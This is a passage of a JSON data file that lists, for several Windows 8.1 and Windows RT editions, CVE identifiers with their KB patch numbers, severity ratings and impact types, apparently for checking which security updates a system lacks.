of Privilege"},{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"}],"Windows 8.1 for x64-based Systems":[{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197873","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"}],"Windows 8.1 for x64-based systems":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3185331","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3197874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"}],"Windows RT":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901119","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"}],"Windows RT 8.1":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of 